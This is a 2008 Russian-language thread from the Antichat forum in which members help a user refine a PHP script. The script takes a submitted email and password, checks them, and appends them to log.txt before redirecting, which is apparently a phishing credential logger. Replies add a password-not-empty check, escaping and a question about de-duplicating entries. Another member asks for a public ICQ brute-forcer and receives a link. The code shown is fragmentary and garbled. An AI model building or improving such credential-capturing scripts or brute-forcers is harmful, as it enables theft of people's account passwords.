HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.12.2008, 21:48
Kaimi
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


Отправить сообщение для Kaimi с помощью ICQ
По умолчанию

ммм...выруби magic_quotes_gpc
 
Ответить с цитированием

  #2  
Старый 28.12.2008, 21:55
MaTpOc
Познавший АНТИЧАТ
Регистрация: 05.05.2008
Сообщений: 1,078
Провел на форуме:
10311449

Репутация: 1357


По умолчанию

Народ а есть ли в паблике пхп брурет асек?
 
Ответить с цитированием

  #3  
Старый 28.12.2008, 22:10
[dei]
Участник форума
Регистрация: 24.11.2008
Сообщений: 205
Провел на форуме:
1123418

Репутация: 362
Отправить сообщение для [dei] с помощью ICQ
По умолчанию

Цитата:
Сообщение от MaTpOc  
Народ а есть ли в паблике пхп брурет асек?
вот тут какой-то есть https://forum.antichat.ru/showthread.php?t=73171
 
Ответить с цитированием

  #4  
Старый 29.12.2008, 02:21
nonamez
Познавший АНТИЧАТ
Регистрация: 22.07.2007
Сообщений: 1,291
Провел на форуме:
3884427

Репутация: 766


Отправить сообщение для nonamez с помощью ICQ
По умолчанию

Такой вопрос:
PHP код:
if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,4})$/i"$_POST['email'])){
fputs($f$_POST['email'].";".$_POST['password']." \n");
     
header("Location: 
Из скрипта видно, что эмаил проверяеться на тип жмайла,а вот далее у мну чет не приходит на ум, нужно что бы проверялся и пасс на предмет пустого поля....
Должно быть что-то типа

PHP код:
if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,4})$/i"$_POST['email']))
or (
preg_match(""$_POST['password'])){
fputs($f$_POST['email'].";".$_POST['password']." \n");
     
header("Location: 
ток толком я так и не въехал...
 
Ответить с цитированием

  #5  
Старый 29.12.2008, 02:32
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

PHP код:
if(preg_match("...."$_POST['email']) && !empty($_POST['password'])) 
 
Ответить с цитированием

  #6  
Старый 29.12.2008, 03:17
[dei]
Участник форума
Регистрация: 24.11.2008
Сообщений: 205
Провел на форуме:
1123418

Репутация: 362
Отправить сообщение для [dei] с помощью ICQ
По умолчанию

m0Hze
ну блин, перед записью переменную отдаешь этой функции
PHP код:
fputs($f,anti_gpc($text)); 
 
Ответить с цитированием

  #7  
Старый 29.12.2008, 03:26
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

кстате скобки в условии переменной ставить не обязательно. Это так...к слову..
 
Ответить с цитированием

  #8  
Старый 29.12.2008, 03:34
nonamez
Познавший АНТИЧАТ
Регистрация: 22.07.2007
Сообщений: 1,291
Провел на форуме:
3884427

Репутация: 766


Отправить сообщение для nonamez с помощью ICQ
По умолчанию

и еще встречный вопрос,как проверить на уникальность, тоесть если есть это email;pass, то не сохранять его, тобишь что бы не было дублей
 
Ответить с цитированием

  #9  
Старый 29.12.2008, 03:36
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

ничё не понял....с чем сопстна проверять? С уже существующими записями или с чем?
 
Ответить с цитированием

  #10  
Старый 29.12.2008, 03:54
nonamez
Познавший АНТИЧАТ
Регистрация: 22.07.2007
Сообщений: 1,291
Провел на форуме:
3884427

Репутация: 766


Отправить сообщение для nonamez с помощью ICQ
По умолчанию

да,все сохраняеться в фаил,вот что щас

PHP код:
$f=fopen("log.txt","at"); 
flock($f,2); 
if(
preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,4})$/i"$_POST['email'])&& !empty($_POST['password'])){
fputs($f$_POST['email'].";".$_POST['password']." \n"); 
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ